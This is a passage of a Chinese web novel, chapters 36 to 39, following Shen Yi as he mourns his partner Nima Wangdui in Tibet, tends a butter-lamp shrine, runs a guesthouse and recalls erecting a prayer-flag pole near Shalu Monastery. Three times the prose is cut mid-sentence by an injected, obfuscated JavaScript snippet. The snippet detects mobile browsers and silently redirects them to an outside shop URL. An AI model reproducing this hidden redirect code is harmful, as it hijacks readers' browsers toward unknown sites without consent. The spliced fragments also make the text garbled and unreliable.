沈翊怔了怔,低头看手里的唐卡。绢布细腻,矿物颜料在阳光下泛着温润的光泽。他没有问“他”是谁,只是点了点头,说:“谢谢。” 僧人双手合十,微微欠身,转身离开了。 沈翊站在院门口,看着那个红色的背影渐渐消失在土路尽头。风刮过院墙上的经幡,发出猎猎的声响。已经是深冬了,草地枯黄,远处的雪山在灰白的天空下显得格外冷峻。 他关上门,回到屋里。 这三年,沈翊承担起了许多责任。不仅仅是尼玛旺堆曾经守护的那片湿地和动物,他加入了当地的环保组织,每周去巡视,记录鸟类种群,劝阻非法捕捞。还有德吉次仁留下的民宿,虽然规模很小,但偶尔会有真正想体验藏地生活的旅人和徒步者,沈翊会接待他们,给他们讲这片土地的故事。 最特别的,是尼玛旺堆画到一半的那些唐卡。 沈翊在整理佛堂时,发现了几个卷起来的画布。 展开一看,是未完成的佛像,有的只打了底稿,有的上了部分颜色,有的连五官都没画完。尼玛旺堆从没跟他说过自己在学唐卡,但那些线条里,沈翊认出了那双专注的眼睛,和那双稳当的手。 他找来了村里的老画师,一点一点学。从研磨矿物颜料开始,到绷画布,打底稿,上色,描金……这是一个极其缓慢的过程,需要耐心,更需要一种近乎冥想的专注。 沈翊在学画的过程中,渐渐明白了尼玛旺堆为什么喜欢这个。那不是简单的绘画,而是一种修行,每一笔都是祈祷,每一色都是供奉。 他记得自己刚开始学的时候,经常画错。有一次不小心把一整天的进度都毁了,他气得把画笔摔在地上,对着空荡荡的房间大吼: “为什么是我?为什么我要做这些?为什么偏偏要把我留下来?” 没有人回答。 只有那只已经老了的猫,慢悠悠地从佛堂走出来,蹭了蹭他的腿,发出咕噜咕噜的声音。 德吉次仁后来回来看过他一次。 她已经剃度,穿着绛红色的僧袍,整个人清瘦了许多,眼神却比以往任何时候都平静。沈翊当时怎么骂她来着? “冷血、无情……你明明什么都知道,为什么不阻止他?!为什么不告诉他那天不要出门?!你不是会算吗?!你不是巫师吗?!” 德吉次仁静静地看着他,眼神空旷得像暴风雪过后的荒原。等他发泄完,喘着粗气停下来,她才开口,声音嘶哑,却异常平静:“人生注定是死亡,注定离别。我在无数个深夜,无数次想象过真的来临时我该怎么办。我 的眼泪早就哭没了,我在梦中梦过无数次的死亡告别……但不是现在这样。” 她的声音很轻,却字字清晰:“我只能接受。我没得选。沈翊,我没得选。” 她抬起手,用力按住自己的心口,那里仿佛有看不见的伤口在汩汩流血:“我没得选!!!!!我们都失去了家人。” 那一刻,沈翊所有的话都堵在了喉咙里。 他看着德吉次仁通红的眼睛,看着她颤抖却挺直的脊背,忽然意识到,痛苦从来不是用来比较的。失去爱人的痛,失去弟弟的痛,失去母亲的痛,都是深不见底的深渊,无法衡量,也无法彼此安慰。 然后她哭了。不是大声痛哭,而是眼泪安静地、持续地滑落,流过她平静的脸庞,滴在绛红色的僧袍上,晕开深色的痕迹。 “我们都失去了家人。”她最后说,声音几不可闻。 那一刻,沈翊所有的愤怒和指责都消散了。他走过去,像三年前尼玛旺堆曾经做过的那样,轻轻抱住了她。德吉次仁的身体僵硬了一瞬,然后慢慢放松,将额头抵在他的肩膀上。 他们谁也没有再说话。 此刻,沈翊拿着那幅新收到的唐卡,走向佛堂。 屋里很暖和,他保留了牛粪火炉的习惯,虽然现在也有电暖器,但他总觉得,那种混合了干草和烟火的气息,才是这个家该有的味道。 佛堂里,燃灯日夜不熄。 沈翊每天早晚都会来添油、剪芯、更换净水。 这是他三年来从未间断的习惯,像呼吸一样自然。他点燃一盏新的酥油灯,小心地放在佛龛前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183009|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后退后几步,双手合十,恭敬地行了三次礼。 不是跪拜,是躬身。这是他和尼玛旺堆之间的小小约定,尼玛旺堆说过,重要的不是形式,是心意。 他闭上眼睛,在心里默默念诵那段已经熟记于心的经文。还是“卓玛”,还是那个调子,只是现在,他不再需 要别人翻译,自己就能读懂那些音节背后的祈愿: 愿逝者安宁。 愿生者坚强。 愿所有迷失的灵魂,都能找到归途。 睁开眼睛时,沈翊的目光落在佛龛旁的一个小相框上。里面不是照片,而是一张铅笔素描,是他画的,画的是尼玛旺堆的侧脸。没有照片参考,全凭记忆。他画了很多张,只有这一张最像:微卷的头发,高挺的鼻梁,专注的眼神,还有那个浅浅的、只有在真正放松时才会出现的酒窝。 素描下面,压着一小截红色的丝线,是从米玛阿姨那条旧哈达上拆下来的。 这些微不足道的物件,构成了沈翊全部的念想。 他只是在等。 等什么呢?他自己也说不清。也许等时间冲淡疼痛,等记忆变得温柔,等某天醒来,忽然发现可以正常呼吸了。 他只是不舍得离开。 这个院子,这间佛堂,这片能看到雪山的窗户,这条尼玛旺堆曾经无数次走过的土路……这里的一草一木,一砖一瓦,都浸透了那个人的气息。离开这里,就像把肺从身体里剥离,他活不下去。 沈翊走出佛堂,来到院子。 那只猫现在已经很老了,动作慢了许多正蜷在阳光最好的墙角打盹。听到脚步声,它抬起头,眯着眼睛看了沈翊一会儿,然后轻轻“喵”了一声,像是在打招呼。 沈翊走过去,蹲下身,摸了摸它已经有些干枯的毛。猫没有躲,反而抬起头,蹭了蹭他的手心。这个曾经高傲得谁也不理的小家伙,在失去所有亲人后,终于学会了依赖。 “饿了吗?”沈翊轻声问,像在问猫,也像在问自己。 他起身去厨房,热了昨晚剩下的糌粑,拌上一点酸奶。猫跟在他脚边,耐心地等着。沈翊把食物放在它专属的小碗里,看着它低头小口吃着,忽然想起尼玛旺堆曾经说过的话:“猫也认识回家的路。在外头玩累了,遇到危险了,总会想着回来。” 是啊,总会想着回来。 即使那个等它回家的人已经不在了,这间屋子,这个碗,这份熟悉的味道,依然是它的归处。 沈翊坐在门槛上,看着远处的雪山。夕阳开始西斜,金色的光芒给雪峰戴上了冠冕,天空从湛蓝渐变成橙红,再到深紫。云彩被染成瑰丽的色彩,像天神打翻的调色盘。 他忽然想起三年前的那个电话。 尼玛旺堆最后说的那句话,不是“再见”,不是“保重”,而是—— “我很喜欢你,非常喜欢你。” 那样直白,那样热烈,像一颗猝然划破夜空的流星,在绽放最耀眼光芒的瞬间,湮灭于黑暗。 沈翊曾经恨过这份短暂。恨命运如此吝啬,只给了他们那么一点点时间。 恨那些所谓的“注定”和“占卜”,为什么不能算到那场车祸,为什么不能提前预警,为什么不能让那个人避开那个时间、那条路。 但现在,他渐渐明白了。 命运从未承诺过长久。 它只负责安排相遇,剩下的,全凭个人造化。 有些人相遇一刻便是永恒,有些人相守一生也只是擦肩。 他和尼玛旺堆,属于前者,在彼此生命最恰当的时刻出现,像两棵各自生长的树,在某个瞬间,根系在地下紧紧相缠,枝叶在空中轻轻相触。 然后,其中一棵被风雪折断。 但另一棵,会继续生长。它的年轮里会永远刻着那段交缠的印记,它的枝叶会向着天空伸展,因为知道地下有另一棵树的根系在支撑,在滋养。 手机震动了一下。 沈翊拿出来看,是德吉次仁发来的信息。 没有文字,只有一张照片——寺庙的屋檐下,一排崭新的燃灯正在静静燃烧,火光在黄昏中显得格外温暖。 过了一会儿,又一条信息进来,这次是藏文。沈翊现在已经能看懂一些简单的词句了。他辨认着那些弯曲的文字,慢慢拼出意思:“他一直在。” 沈翊盯着屏幕,看了很久。然后他抬起头,望向远方的雪山。 夕阳已经完全沉下去了,天空变成深蓝色,第一颗星星在东方悄然亮起。接着是第二颗,第三颗……很快,整 个天穹被繁星覆盖,银河如一条闪光的带子,横跨天际。 高原的星空,依然是他见过的最美的星空。 沈翊忽然觉得,胸口那块冻结了三年的坚冰,在这一刻,裂开了一道细缝。不是融化,只是裂开——让一丝微弱的、但确实存在的暖意,缓缓渗了进去。 他拿出手机,打开相机,对着星空拍了一张。然后,他点开尼玛旺堆那个再也没有亮过的微信头像,把照片发了过去。 没有文字,只有一张星空。 他知道不会有人回复。但他还是发了。就像每天点亮的燃灯,就像每周去巡视的湿地,就像一笔一画继续的唐 卡,这些都不是为了得到回应,只是为了确认: ‘我还记得。’ ‘我还在。’ 而那个曾经照亮他生命的人,就像这高原的星空,看似遥远,实则从未离开。他化成了风,化成了雪,化成了这片土地上每一寸呼吸,化成了沈翊继续生活下去的每一分勇气。 夜渐深,气温骤降。沈翊站起身,拍了拍身上的灰尘。猫已经吃完了,正蹲在门口等他。 “进去吧,外面冷。”他说,推开了门。 屋里,牛粪火炉还在静静燃烧,发出温暖的光。 佛堂里的燃灯,一盏一盏,像地上不灭的星辰。 沈翊添了最后一块牛粪,关好门窗,抱着猫上了楼。 卧室里,两张床铺依然并排放着,头对头,中间只隔着一条窄窄的过道。 他躺下来,侧过身,对着空荡荡的那一侧,轻声说: “晚安。” 窗外,繁星满天,寂静无声。 有人会在梦里前往佛堂,熟练拿出燃灯,点起来,双手合十。 祈求那人平安喜乐! 而在那片星光之下,在广袤的青藏高原上,在年楚河奔流不息的岸边,在扎什伦布寺千年不变的诵经声中,一个关于爱与失去、关于扎根与守望的故事,就这样,安静地继续着。 直到时间的尽头。 直到所有离别,都在记忆里重逢。 直到每一个漂泊的灵魂,都在天边落脚。 37. 在天边落脚 有些游客问他,“为什么不离开西藏?” 他只是舍不得离开。 这片土地承载了太多记忆——温暖的,心动的,痛苦的,安宁的。空气中仿佛还残留着那个人的气息,院子里仿佛还回荡着那个人的笑声,湿地的风里仿佛还夹杂着那个人讲述动物习性时认真的语调。 他明明得到了一切:爱情,归属,新的家人,被接纳的温暖。 然后又失去了一切。 不甘心。 不舍得。 恨命运而已。 收起望远镜和记录本,沈翊沿着熟悉的小路往回走。 夕阳将他的影子拉得很长,投射在刚刚返青的草甸上。 远处,新修的民宿亮起了温暖的灯光,那是他用尼玛旺堆留下的积蓄,加上自己这些年的投入,在旧院落旁扩建的。 不大,只有六个房间,但每个房间都能看见湿地和远山。 名字很简单,就叫“天边落脚”。 快到家时,他看见院门口停着一辆陌生的越野车。 一个穿着冲锋衣、背着巨大登山包的男人正蹲在地上,和那只已经明显老了的灰白猫对峙。猫炸着毛,发出警告的低吼,男人则试图用一根牛肉干讨好它。 沈翊走过去。男人抬起头,看起来三十出头,皮肤黝黑,脸上有长途跋涉的风霜,但眼睛很亮,带着好奇和友善的笑意。 “你好,请问这里是‘天边落脚’民宿吗?我在网上订了房。”男人站起身,拍了拍手上的灰,普通话带着点南方口音。 “是的。”沈翊点点头,推开院门,“欢迎。进来吧。” 男人跟着他走进院子,好奇地四处打量:整洁的院落,冒着炊烟的主屋,佛堂门口轻轻飘动的崭新经幡,墙角堆得整齐的干牛粪块,还有那只亦步亦趋跟着沈翊、不再对他龇牙的猫。 “这里真安静。”男人感慨道,深吸了一口清冷的空气,“跟我想象中的西藏一样。” 沈翊笑了笑,没说话。他带着客人去登记,安排房间,交代注意事项。男人叫陈远,是个自由摄影师,专门拍野生动物,这次来是想拍黑颈鹤求偶的画面。 “听说这片湿地保护得很好,还有专人巡视,”陈远放下背包,兴致勃勃地说,“您就是负责人之一吧?” “算是吧。”沈翊递给他一把钥匙,“热水晚上八点到十点供应。吃饭在主屋,时间到了会叫您。湿地拍摄需要申请,明天我带您去办手续。” “太感谢了!”陈远连声道谢,目光落在沈翊手腕上,那里戴着一串陈旧却油润的红色绳子,在腰间还有一枚小小的、刻着复杂图案的银质“米隆”护牌。 沈翊注意到他的视线,下意识转身。 安顿好客人,沈翊回到主屋。 炉火已经生起,铜壶里的水咕嘟作响。他给自己倒了碗酥油茶,坐在尼玛旺堆常坐的位置上,慢慢喝着。 猫咪跳上他旁边的垫子,熟练地蜷缩起来,喉咙里发出满足的呼噜声。它已经很老了,动作不如从前敏捷,但对沈翊的依赖却与日俱增。 丝毫没有当年骄傲的影子。 夜幕完全降临,星星一颗接一颗亮起来,密集得像是有人往天上撒了一把碎钻。 沈翊喝完茶,起身去了佛堂。 佛堂里,燃灯长明。 沈翊熟练地拿起油壶,为每一盏灯添满酥油。 他用特制的小镊子,仔细剪掉过长的灯芯,让火苗燃烧得更平稳、更明亮。 橘黄色的光晕温暖地充盈着整个佛堂,酥油燃烧的独特香气弥漫开来,混合着淡淡的藏香,形成一种令人心安的、神圣的气息。 做完这些,他在佛前的垫子上跪下,双手合十,闭上眼睛。 三年来,他逐渐明白,有些愿望注定无法实现。 他只是静静地跪着,在脑海里勾勒那个人的模样。 笑起来深深的酒窝,弹扎木念时低垂的睫毛,递来食物时坦荡的眼睛,说“我喜欢你”时泛红的脸颊,还有最后电话里,那句带着笑意和期待的“我回去后给你看”。 画面清晰得仿佛就在昨天。 疼痛依然在,像一根细小的针,深埋在心脏最柔软的地方,平时感觉不到,但在某些时刻。比如闻到某种气味,看到某个场景,听到某句熟悉的话,它会突然刺一下,提醒他失去的存在。 但窒息般的绝望已经渐渐淡去,取而代之的是一种深沉的、带着钝痛的平静。 像高原上的湖泊,表面结了冰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183010|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰下却有水流缓缓涌动,承载着所有沉淀的记忆和未能说出口的话语。 他俯身,额头轻轻触地,行了三次叩拜。 时间流逝下,他这个无神论,也成为最忠诚的信徒。 不是祈求,而是诉说。 在寂静中,在跳跃的灯火前,在缭绕的香烟里,他无声地诉说着这平淡一天的琐碎:湿地来了新的候鸟,民宿住了新的客人,猫今天抓了一只老鼠,他尝试画唐卡的那个角落还是不满意…… 最后,他在心里轻轻说:愿你平安顺遂,无论在哪里。 起身时,膝盖有些发麻。沈翊扶着旁边的柜子站稳,抬头看向佛龛上的照片。 米玛阿姨的笑容慈祥,尼玛旺堆的眼神清澈。他们的时间永远停在了最美好的瞬间。 而他,还要继续向前走。 带着他们的记忆,爱着他们爱过的土地,守护着他们珍视的生命,过着他们未能过完的、平凡而坚实的日子。 走出佛堂,夜风清冽。 星空低垂,仿佛伸手可及。 远处湿地里传来夜鸟偶尔的啼叫,更远处,雪山在月光下泛着幽蓝的冷光。 沈翊站在院子里,仰头看了很久的星星。 那只老猫跟了出来,蹭了蹭他的裤腿。他弯腰,将它抱起来。 猫咪在他怀里调整了一个舒服的姿势,发出咕噜咕噜的声音。 主屋里,新来的客人陈远正在整理摄影器材,灯光透过窗户,在院子里投下一方温暖的光斑。 民宿的招牌在夜风中轻轻晃动,“天边落脚”四个字在星光下隐约可见。 这里曾经是一个异乡人狼狈的避难所,后来成了一个流浪者意外的归处,最终,成了一个守望者选择扎根的土地。 如果可以他想对尼玛旺堆说:“如果流浪注定没有终点,那就在你身边落脚。”成为你的样子,带着你的影子活下去。 命运给予的,无论是馈赠还是剥夺,最终都化为了这片星空下,无声流淌的时光,和一颗在破碎后学会以另一种方式完整跳动的心。 沈翊抱着猫,最后看了一眼璀璨的银河,转身走进那片温暖的灯光里。 门轻轻关上。 夜色温柔,山河寂静。 38. -追忆·过去1- “记忆是有气味的。” 沈翊后来常常这样觉得。 他记忆中城市的气味是地铁站混杂的香水与灰尘,是写字楼走廊永不消散的咖啡因以及它带来的焦虑。而西藏的气味,是分层的,像一本被岁月反复翻阅过的书,最表层是阳光下干燥的牛粪与草秸,往下翻,是酥油融化的醇厚,再深些,是藏香燃尽后留在织物上的、近似檀木的余韵。 但最深处的那一层,是属于他们的记忆。 那是藏历新年前的一个寻常下午,大概是从山南回来后不久,突然决定去的。 高原的冬天有一种清澈透明的感觉,天空中稀少有云朵在飘动,阳光无比刺眼,与地上的雪一起让人眼神迷离。 那天,尼玛旺堆从仓库里搬出一根长长的树枝,放在院中晾晒。树枝未经打磨,树皮还斑驳地附着,顶部被削成简洁的尖锥。 “这是什么?”沈翊蹲下身,手指轻拂过木头上天然的纹路。 “经幡柱。”尼玛旺堆用抹布擦拭着杆身,“夏鲁寺那儿的经幡柱应该要换新的了,我要去帮忙,虽然他们不需要……” 他的语气平常得像在说“该去喂牛了”。 沈翊却敏锐地感觉到那看似忙碌下想去帮忙的急切。 这些日子,他已经学会从尼玛旺堆最细微的动作里去了解信息,当他格外认真地做一件事时,下颌线会微微绷紧,眼神低垂,与手中的物件进行一场无声的对话。 “我也能去?” 话问出口,沈翊自己先怔了怔。 什么时候开始,他不再用“可以吗”、“方便吗”这类带着距离感的措辞了?取而代之的是一种近乎本能的“我想参与”。 尼玛旺堆停下动作,抬起头看他。 阳光从他背后打过来,在他轮廓周围镀上一层毛茸茸的光晕。有那么几秒钟,他只是看着沈翊,眼神很深,像是在想什么,又像是在确认什么。 “路途有点远,”他终于开口,声音比平时低些,“另外一个寺在山上,要爬一段。” “我不怕。”沈翊说,甚至笑了笑,“总不能一直当个需要被照顾的人。” 尼玛旺堆的嘴角几不可察地弯了一下。 他没再说什么,只是点点头,继续擦拭木杆,但沈翊注意到,他擦得更仔细了,连树皮缝隙里的尘土都用指甲轻轻抠出来。 出发是在第二天的凌晨。 天色还是浓稠的墨蓝,星星挂在天上,亮得有些不近人情。阿妈米玛啦早早起来,在佛堂前点燃一盏酥油灯。跳跃的火光映亮她布满皱纹的脸,她低声念诵着什么,将一把青稞粒撒向空中。 尼玛旺堆已将经幡柱绑在车顶,柱身用崭新的白色哈达缠绕,顶端系着一束五彩经幡,在尚未天光的晨风中微微飘动。沈翊坐进副驾驶,怀里抱着一个鼓囊囊的布袋——里面是尼玛旺堆准备的糌粑、风干牛肉和一小壶青稞酒。 车子驶出村庄,驶入一片混沌的黑暗。车灯划破夜色,照亮前方一小段颠簸的土路。两人都没有说话。沈翊侧头看着窗外,看着黑暗中影影绰绰的山峦轮廓,像巨兽沉睡的脊背。他忽然想起小时候读过的神话,那些关于英雄在黎明前踏上征途的故事。那时候他觉得浪漫,现在才明白,真正的“征途”往往始于这种近乎麻木的、对抗寒冷与困倦的沉默前行。 “困了就睡。”尼玛旺堆忽然说,声音在引擎的嗡鸣中显得格外清晰。 “不困。”沈翊摇摇头,却忍不住打了个哈欠。 尼玛旺堆低低笑了一声,没再说话。他从储物格里摸出一颗水果糖,单手剥开,递到沈翊嘴边。沈翊愣了下,下意识地张嘴含住。甜味在舌尖化开,带着人造香精的廉价感,却奇异地驱散了凌晨的寒意和困意。 “你总是有糖。”沈翊含着糖,含糊地说,“像是在变戏法一样。” “习惯了。”尼玛旺堆目视前方,“小时候跟阿妈去转山,走不动了,她就给我一颗糖。说,吃了就有力气走到下一个垭口。” 沈翊想象着那个画面:小小的尼玛旺堆,牵着母亲的手,走在无尽的山路上。糖是奖励,是安慰,是撑下去的微小理由。他忽然觉得心里某个地方软了一下。 “你母亲……很了不起。” “嗯。”尼玛旺堆应了一声,沉默片刻,才接着说,“她没读过什么书,但懂的比谁都多。她说,‘人活一辈子,就像转山,重要的不是爬到多高,而是每一步都踩的踏实了。’ 车子拐过一个急弯,夏鲁寺所在的河谷在晨光熹微中逐渐显露。 那是一种让沈翊屏住呼吸的景象。 不远处有一座寺庙建筑群依山而建,红白相间的墙体在青灰色山岩的衬托下,显得格外鲜明。 沈翊惊叹道,“是山顶的那一座吗?” 尼玛旺堆看了一眼说:“不是,拐个弯就到了。” 车子停下,映入眼帘的是一座很小的寺庙。 尼玛旺堆笑着说:“这里就是第一站,里面供奉的是‘拉姆’会有很多人在周二、周天前往这里,寻求祈福。” 沈翊望着眼前的小寺庙,似懂非懂的点点头。 进门后听到的是念经声与敲鼓声,很快他们进到里面映入眼帘的是狭小的空间内挤满了人,转道一半有一块很大的石头,中间沉积这水,旁边放着铜做的勺子。 不等他反应,尼玛旺堆手里已经买了两个哈达和一罐青稞酒,他笑着走来说:“把你的左手伸出来,”沈翊照做,他拿着勺子往他手里倒了石头里沉积的水,“这是自然圣水,你喝三口。”最后尼玛旺堆往他头上洒了三下,嘴里还在念叨着什么。 随后他们来到了‘拉姆’面前,尼玛旺堆把青稞酒递给僧人,自己双手举着哈达对着‘拉姆’许愿。沈翊照做。 完事儿后,他们出来前往夏鲁寺。 来到停车场,沈翊发现与扎什伦布寺巍峨的金顶不同,夏鲁寺的屋顶是深灰色的,带着一种古朴的、近乎朴拙的厚重感。最引人注目的是主殿的琉璃歇山顶,那是汉地建筑的典型特征,碧绿的瓦片在逐渐亮起的天光中泛着湿润的光泽。 “夏鲁寺,”尼玛旺堆停好车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183011|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仰头望着那片建筑,“是藏传佛教里很特别的存在。你看那屋顶,是元朝时候的风格。代表汉、藏,在这儿几百年了。” “我记得,最底层的地基代表藏、中间是尼泊尔、还有一个是蒙古、上层是汉。依稀是这样,具体已经想不起了。”微微低头摸了一下脑袋说,“有点对不起老师,把学过的知识已经还给他了……” 他说话时,气息在冷空气中凝成白雾。沈翊顺着他的目光望去,是第二次如此直观地感受到“历史”二字的重量。 那不是旅游手册上轻飘飘的词汇,是砖石、木材、琉璃瓦,是无数匠人的手,是时间一层层夯实的、具象的存在。 他们径直进去,里面挤满了人,很多人在卸下从经幡柱上面借下的哈达。 尼玛旺堆只对他说了一句:“等着” 没过一会儿,就拿着金黄色的哈达出来了,伸手就给他带上了,“你这样真好看,这相当于护身符,今天就戴着吧。”随即笑着说:“不过,这里已经不需要我们了,那我们去山上的寺庙—仁布寺” 驾驶着车来到山腰处的停车场。 他们卸下经幡柱。 尼玛旺堆将柱子扛在肩上,沈翊抱着布袋和一大捆五彩经幡跟在后面。 通往寺庙的小路隐蔽在乱石和灌木丛中,几乎没有成形的路径。 “跟紧我。”尼玛旺堆回头说,脚步却放得很慢,似乎在刻意等他。 爬山比想象中更艰难。海拔已超过四千米,每走几步,沈翊就得停下来大口喘气。肺部像被粗糙的砂纸摩擦,心脏在耳膜处咚咚捶打。尼玛旺堆不时停下,却不催他,只是将经幡柱杵在地上,拿出事先准备好的氧气瓶温柔的说:“要不,你还是在这里等我,我很快就回来。” 沈翊摇头拒绝,尼玛旺堆只好答应。 突然,沈翊脚下一滑,膝盖磕在尖锐的石头上。疼痛瞬间炸开,他闷哼一声,蹲下身。 尼玛旺堆几乎立刻折返回来。他放下经幡柱,在沈翊面前蹲下,眉头蹙紧:“磕哪儿了?” “没事,”沈翊咬牙,“就碰了一下。” 尼玛旺堆没说话,直接伸手卷起他的裤腿。膝盖处擦破了一大片皮,渗着血珠,在苍白的皮肤上显得格外刺眼。沈翊有些窘迫,想缩回腿,却被尼玛旺堆轻轻按住。 “别动。”他从随身的小布袋里掏出一个拇指大小的铜盒,打开,里面是深褐色的膏状物,散发着浓烈的草药气味。“藏医做的,止血快。” 他用指尖挑起一点药膏,小心地涂抹在伤口上。药膏触感冰凉,带着刺痛,但尼玛旺堆的动作异常轻柔,指尖的温度透过药膏传递过来。沈翊低头看着他浓密的发顶,看着他专注的侧脸,忽然忘了疼。 “好了。”尼玛旺堆抬起头,正好撞上沈翊的目光。两人都愣了一下。 沈翊率先移开视线,低声说:“谢谢。” 尼玛旺堆没应声,只是迅速收回手,重新背起经幡柱,“慢慢走,不着急。”他说,耳根在晨光中微微泛红。不知道是冻的还是因为害羞的。 39. -追忆·过去2- 到达预定地点时,太阳刚好跃出东边的山脊。金光泼洒下来,整个河谷瞬间苏醒。 他们站在一片相对平坦的坡地上,脚下是夏鲁寺层层叠叠的屋顶,远处是蜿蜒的年楚河支流,像一条银色的哈达,铺展在枯黄的田野之间。 “就是这儿。”尼玛旺堆放下经幡柱,环顾四周,地上残留着半截腐朽的木桩,是旧的经幡柱基座。 接下来的工作沉默而有序。尼玛旺堆用随身带来的小镐挖深坑,沈翊帮忙清理碎石和旧木屑。高原的冻土坚硬如铁,每一镐下去都只能留下浅白的印子。尼玛旺堆脱掉外套,只穿一件单薄的毛衣,手臂肌肉随着每一次挥动绷紧、舒展,额角很快渗出细密的汗珠。 沈翊看着他,忽然意识到,这是自己第一次如此专注地观察尼玛旺堆劳动的样子。 不是日常的喂牛、捡粪,以一种虔诚的目光,咋下冻土的撞击声,都像是原始的鼓点,敲打在这个清晨寂静的山坡上。 坑终于挖好。尼玛旺堆用水平尺仔细测量,调整深度,然后示意沈翊帮忙扶住新的经幡柱。两人合力将沉重的木杆竖起,对准坑心,慢慢放下。 “稳吗?”尼玛旺堆问,声音有些喘。 “稳。”沈翊紧紧扶着柱子,手心能感觉到木头粗糙的纹理和尚未散尽的夜寒。 尼玛旺堆开始填土。他不用工具,而是跪下来,用手一捧一捧地将泥土回填,压实,再回填。沈翊学着他的样子,也跪下来,双手插入冰冷刺骨的泥土中。土里混着细碎的石子和草根,冻得手指发麻,但某种奇异的、神圣的感觉,随着这个简单的动作,从指尖一路蔓延到心脏。 当经幡柱稳稳矗立,尼玛旺堆从布袋里拿出那捆五彩经幡。他展开经幡,五色布块依次是蓝、白、红、绿、黄,分别象征天空、云朵、火焰、江河和大地。每一块布上都印着密密麻麻的藏文经文。 “这是《卓玛经》,”尼玛旺堆低声解释,手指拂过那些弯曲的文字,“祈福的。” 他开始系经幡。先从顶端开始,将蓝色经幡系在柱尖下方,然后是白色、红色……他的动作熟练而虔诚,每系好一块,都会低声念诵一句。沈翊站在一旁,看着他高大的背影在晨光中微微前倾,看着他被风吹起的黑发,看着他念诵时喉结轻微的滚动。 风渐渐大了起来。系好的经幡开始猎猎飘动,五彩布块在风中舒展、翻卷,发出哗啦啦的声响。那声音起初有些突兀,很快便融入山谷的风啸中,成为这天地自然乐章的一部分。 尼玛旺堆系好最后一块黄色经幡,退后两步,双手合十,对着经幡柱深深鞠了一躬。然后他转过身,看向沈翊。 “来,”他说,声音被风吹得有些飘忽,“许个愿。” 沈翊走上前,与他并肩而立。风从河谷对面呼啸而来,裹挟着远山积雪的寒意,也裹挟着经幡翻飞的声响。他仰头看着那根崭新的经幡柱,看着五彩的布条在湛蓝的天幕下舞动,像一道连接大地与天空的桥梁。 许什么愿呢? 他想起北京那个逼仄的客厅,想起茶几上凉透的鸡蛋灌饼,想起江泽狰狞的脸。 那些画面曾经像玻璃碎片扎在心脏里,每一次呼吸都疼。但现在,站在这里,站在离那些往事三千多公里的山坡上,站在细碎作响的经幡下,他忽然觉得,那些疼痛并没有消失,但它们被稀释了,被这广阔的天空、凛冽的风、还有身边这个人沉默的陪伴,稀释成了可以承受的重量。 他闭上眼睛。 没有具体的愿望。没有“希望忘记过去”,没有“祈求新的开始”。 他只是深深地、深深地吸了一口气,让高原清冽寒冷的空气充满肺部,然后缓缓吐出。 睁开眼时,发现尼玛旺堆正看着他。 “许好了?”尼玛旺堆问,眼睛里映着经幡舞动的色彩。 “嗯。”沈翊点头。 “不问问我许了什么?”尼玛旺堆忽然笑了一下,那笑容很浅,却带着平日里少见的、近乎孩子气的狡黠。 沈翊心头一跳,面上却保持平静:“你许了什么?” 尼玛旺堆转回头,望向远处连绵的雪山。风把他的头发吹得乱糟糟的,他抬手捋了一下,才慢慢说:“我许愿……这根柱子,能立很久。风来了,雪来了,都不倒。” 很朴素的愿望,朴素得像他这个人。 但沈翊听懂了。 “会立很久的。”沈翊听见自己说,声音很轻,却异常清晰,“你挖的坑那么深,土压得那么实。” 尼玛旺堆侧过头,深深看了他一眼。 那眼神里闪过惊讶,还有沈翊能够感受到的温柔。 他没说话,只是从布袋里拿出那壶青稞酒和两个木碗。 倒酒,蘸酒,弹洒,敬天敬地敬神明。 然后将一碗酒递给沈翊。 两人碰碗,沈翊一饮而尽。 尼玛旺堆没喝,要开车。 酒还是温的,顺着喉咙滑下,在胃里燃起一小团火,沈翊被辣得眯起眼,尼玛旺堆却笑了,左颊的酒窝深陷下去。 “好喝吗?” “好喝。” “好喝就行。”尼玛旺堆又给他倒了一碗,“青稞酒的第一口,总是甜的。” 他们在经幡柱旁坐下,吃糌粑和风干牛肉。 阳光越来越暖,驱散了凌晨的寒意。沈翊靠在经幡柱的基座上,仰头看着那些飘舞的布条。风大的时候,经幡几乎被拉成水平,发出裂帛般的声响;风小时,它们又温柔地垂落,轻轻拂过木杆。 “这些经文,”沈翊问,“飘一次,就算念诵一次吗?” “嗯。”尼玛旺堆嚼着肉干,点头,“风不停,诵经就不停。所以经幡又叫风马旗。” 沈翊凝视着那些翻飞的色彩。蓝幡拂过天际,白幡掠过云影,红幡像火焰在燃烧,绿幡如江河奔流,黄幡贴着大地。 风是媒介,将刻印在布上的祈愿,一遍遍送向天空,送向神明可能谛听的某个高处。 